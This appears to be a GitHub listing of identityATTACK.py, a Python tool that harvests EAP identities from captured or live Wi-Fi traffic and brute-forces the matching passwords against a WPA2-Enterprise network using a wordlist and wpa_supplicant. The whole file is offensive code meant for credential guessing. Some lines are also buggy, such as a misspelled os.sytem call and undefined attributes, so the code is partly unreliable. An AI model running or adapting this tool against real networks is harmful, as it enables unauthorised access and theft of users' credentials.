-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathidentityATTACK.py
309 lines (264 loc) · 14.2 KB
/
identityATTACK.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
#!/usr/bin/python3
import argparse
import config
from lib import conf_manager
#from multiprocessing import Process, Queue
import queue
parser = argparse.ArgumentParser(description='Automated online WPA2-Enterprise Brute Forcing Tool')
parser.add_argument('--version', action='version', version=config.__version__)
parser.add_argument('-b', '--bssid', dest='bssid', default=config.default_bssid, help='select target bssid (Default: {})'.format(config.default_bssid))
parser.add_argument('-D', '--debug', dest='debug', default=False, action='store_true', help='enable debug mode')
sourceOptions = parser.add_argument_group(description='Specify target source for extraction')
sourceOptions.add_argument('-f', '--filename', dest='filename', help='extract eap.identity from pcap')
sourceOptions.add_argument('-m', '--monitor', dest='monitor_interface', help='set interface to monitor for eap.identity on')
liveExtractionOptions = parser.add_argument_group(description='Control settings for live extraction')
liveExtractionOptions.add_argument('-l', '--live', dest='live_capture_window', type=int, default=config.default_live_capture_window, help='specify the timeout for live capture window (Default: {})'.format(config.default_live_capture_window))
liveExtractionOptions.add_argument('-c', '--channel', dest='channel', type=int, help='specify channel monitor')
bruteforceOptions = parser.add_argument_group(description='Control settings for brute force attacks')
bruteforceOptions.add_argument('-t', '--timeout', dest='timeout', type=int, default=config.default_timeout, help='specify the timeout delay for password guessing (Default: {})'.format(config.default_timeout))
bruteforceOptions.add_argument('-e', '--eap', choices=config.supported_eap_methods, dest='eap_method', default=config.default_eap_methods, help='Control EAP method to use (Default: {})'.format(config.default_eap_methods))
bruteforceOptions.add_argument('-s', '--ssid', dest='ssid', help='specify ssid')
bruteforceOptions.add_argument('-i', '--interface', dest='interface', help='set interface to use')
bruteforceOptions.add_argument('-p', '--passfile', dest='pass_file', help='specify wordlist')
bruteforceOptions.add_argument('--wpa-supplicant-file', default=config.wpa_supplicant_conf_location, dest='wpa_supplicant_file', help='Set a custom location for the wpa_supplicant file')
args, leftover = parser.parse_known_args()
options = args.__dict__
class identityAttackUtils():
@staticmethod
def setInterfaceModeMonitor(interface):
import os
os.system('iwconfig {} mode monitor'.format(interface))
@staticmethod
def setInterfaceModeManaged(interface):
import os
os.system('iwconfig {} mode managed'.format(interface))
@staticmethod
def setInterfaceDown(interface):
import os
os.system('ifconfig {} down'.format(interface))
@staticmethod
def setInterfaceUp(interface):
import os
os.system('ifconfig {} up'.format(interface))
@staticmethod
def setInterfaceChannel(interface, channel):
import os
os.system('iwconfig {} channel {}'.format(interface, channel))
@staticmethod
def setInterfaceNmUnmanaged(interface):
import os
os.system('nmcli device set {} managed no'.format(interface))
@staticmethod
def setInterfaceNmManaged(interface):
import os
os.system('nmcli device set {} managed yes'.format(interface))
def identityBrute(identityArray, interface, ssid, passwordFile, wpa_supplicant_file):
import subprocess, os, signal, datetime, time
passwords = []
f = open(passwordFile, 'r')
lines = f.readlines()
for line in lines:
passwords.append(line.strip('\n'))
print('[+] Creating wpa_supplicant.conf file: {}'.format(wpa_supplicant_file))
for password in passwords:
for ia in identityArray:
conf_manager.wpa_supplicant_conf.configure(
ssid=ssid,
eap=options['eap_method'],
identity=ia,
password=password
)
command = [
'wpa_supplicant',
'-i{}'.format(interface),
'-c{}'.format(wpa_supplicant_file)
]
print('[+] Trying username "{}" with password "{}"'.format(ia, password))
start = datetime.datetime.now()
ps = subprocess.Popen(command,
shell=False,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE
)
while(ps.poll() is None):
time.sleep(0.1)
now = datetime.datetime.now()
if((now-start).seconds > options['timeout']):
os.kill(ps.pid, signal.SIGKILL)
os.waitpid(-1, os.WNOHANG)
if('EAP-MSCHAPV2: Invalid authenticator response in success request' in ps.stdout.read().decode('utf-8')):
print('[+] credentials failed!')
else:
# included debug purposes
if(options['debug']):
print(ps.stdout.read())
return 0
def readProcess(packets):
extractedIdentity = []
for packet in packets:
if(packet.haslayer(EAP) and (packet.addr3 == options['bssid'])):
if((packet[Dot11][EAP].code == 2) and (packet[Dot11][EAP].type == 1)):
extractedIdentity.append(packet[Dot11][EAP][Raw].load.decode('utf-8'))
return 0, extractedIdentity
class identityATTACK():
@classmethod
def __init__(self, ssid=None, interface=None, passwordFile=None, live_capture_window=None, wpa_supplicant_file=None):
self.testedIdentity = []
self.currentlyTestingIdentity = ''
self.extractedIdentityQueue = queue.Queue()
self.testedIdentity = queue.Queue()
self.interface=interface,
self.passwordFile=passwordFile
self.live_capture_window=live_capture_window
self.capture_still_active = True
self.passwords = []
self.wpa_supplicant_file = wpa_supplicant_file
f = open(self.passwordFile, 'r')
lines = f.readlines()
for line in lines:
self.passwords.append(line.strip('\n'))
f.close()
@classmethod
def setCaptureStillActive(self, toggle):
self.capture_still_active = toggle
@classmethod
def getCaptureStillActiveStatus(self):
return self.capture_still_active
@classmethod
def processorCapturedPackets(self, packet):
if(packet.haslayer(EAP) and (packet.addr3 == options['bssid'])):
if((packet[Dot11][EAP].code == 2) and (packet[Dot11][EAP].type == 1)):
identity = packet[Dot11][EAP][Raw].load.decode('utf-8')
if((not identity in self.extractedIdentityQueue.queue + self.testedIdentity.queue) and (identity != self.currentlyTestingIdentity)):
identityATTACK.queueWriter(identity=identity)
else:
print('[+] Already found "{}", skipping...'.format(identity))
@classmethod
def queueReader(self):
import time
import datetime
import os, signal
target = ''
while True:
if(self.capture_still_active is True):
success = False
for identity in list(self.extractedIdentityQueue.queue):
target = identity
self.currentlyTestingIdentity = target
self.extractedIdentityQueue.get(identity)
for password in self.passwords:
conf_manager.wpa_supplicant_conf.configure(
ssid=options['ssid'],
eap=options['eap_method'],
identity=identity,
password=password
)
if(options['debug']):
print('[+] Checking if wpa_supplicant interface file exists: /var/run/wpa_supplicant/{}'.format(options['interface']))
if(os.path.isfile('/var/run/wpa_supplicant/{}'.format(options['interface']))):
if(options['debug']):
print('[+] Deleting wpa_supplicant interface file')
os.sytem('rm {}'.format('/var/run/wpa_supplicant/{}'.format(options['interface'])))
try:
print('[+] Trying username "{}" with password "{}"'.format(identity, password))
start = datetime.datetime.now()
command = [
'wpa_supplicant',
'-i{}'.format(options['interface']),
'-c{}'.format(self.wpa_supplicant_conf_location)
]
ps = subprocess.Popen(
command,
shell=False,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE
)
while(ps.poll() is None):
time.sleep(0.1)
now = datetime.datetime.now()
if((now-start).seconds > options['timeout']):
os.kill(ps.pid, signal.SIGKILL)
os.waitpid(-1, os.WNOHANG)
stdout_string = ps.stdout.read().decode('utf-8')
if(stdout_string.find('EAP-MSCHAPV2: Invalid authenticator response in success request') == -1):
print('[+] credentials failed!')
else:
# included debug purposes
if(options['debug']):
print(stdout_string)
print('[+] credentials found!')
break
except Exception as e:
print('[!] Error: {}'.format(e))
print('[+] Adding "{}" to tested list'.format(target))
self.testedIdentity.put(target)
if((self.capture_still_active is False) and (self.extractedIdentityQueue.empty())):
print('[+] During the capture, the following accounts were identified and tested:')
for t in self.testedIdentity.queue:
print('[-] {}'.format(t))
return 0
else:
time.sleep(self.live_capture_window % 5)
@classmethod
def queueWriter(self, identity):
print('[+] Added new identity to brute force pool: {}'.format(identity))
self.extractedIdentityQueue.put(identity)
if __name__ == '__main__':
from kamene.config import conf
conf.ipv6_enabled = False
from kamene.all import *
if((options['filename'] is not None) and (options['monitor_interface'] is None)):
print('[+] Extracting EAP identity from pcap file: {}'.format(options['filename']))
packets = rdpcap(options['filename'])
resCode, extractedIdentity = readProcess(packets=packets)
if(resCode != 1):
print('[+] successfully extracted the following EAP identity:')
for EI in extractedIdentity:
print('[-] {}'.format(EI))
print('[-]')
identityBrute(
identityArray=extractedIdentity,
ssid=options['ssid'],
interface=options['interface'],
passwordFile=options['pass_file'],
)
elif((options['monitor_interface'] is not None) and (options['filename'] is None)):
try:
print('[+] Configuring monitor adapter: {}'.format(options['monitor_interface']))
identityAttackUtils.setInterfaceNmUnmanaged(interface=options['monitor_interface'])
identityAttackUtils.setInterfaceDown(interface=options['monitor_interface'])
identityAttackUtils.setInterfaceModeMonitor(interface=options['monitor_interface'])
identityAttackUtils.setInterfaceUp(interface=options['monitor_interface'])
i = identityATTACK(
ssid=options['ssid'],
interface=options['interface'],
passwordFile=options['pass_file'],
live_capture_window=options['live_capture_window'],
wpa_supplicant_file=options['wpa_supplicant_file']
)
import threading
p = threading.Thread(target=i.queueReader)
p.start()
print('[+] Monitoring for eap.identity frames on interface "{}" for: {}s'.format(options['monitor_interface'], options['live_capture_window']))
result = sniff(iface=options['monitor_interface'], prn=i.processorCapturedPackets, timeout=options['live_capture_window'], store=0)
i.setCaptureStillActive(toggle=False)
print('[+] Monitoring capture window has finished, waiting for brute force attacks to complete')
p.join()
print('[+] Resetting adapter: {}'.format(options['monitor_interface']))
identityAttackUtils.setInterfaceDown(interface=options['monitor_interface'])
identityAttackUtils.setInterfaceModeManaged(interface=options['monitor_interface'])
identityAttackUtils.setInterfaceUp(interface=options['monitor_interface'])
identityAttackUtils.setInterfaceChannel(interface=options['monitor_interface'], channel=options['channel'])
identityAttackUtils.setInterfaceNmManaged(interface=options['monitor_interface'])
except KeyboardInterrupt:
print('[+] Resetting adapter: {}'.format(options['monitor_interface']))
identityAttackUtils.setInterfaceDown(interface=options['monitor_interface'])
identityAttackUtils.setInterfaceModeManaged(interface=options['monitor_interface'])
identityAttackUtils.setInterfaceUp(interface=options['monitor_interface'])
identityAttackUtils.setInterfaceNmManaged(interface=options['monitor_interface'])
else:
print('[!] Choose only 1 source location! (only --filename or --monitor')
exit(1)
exit(0)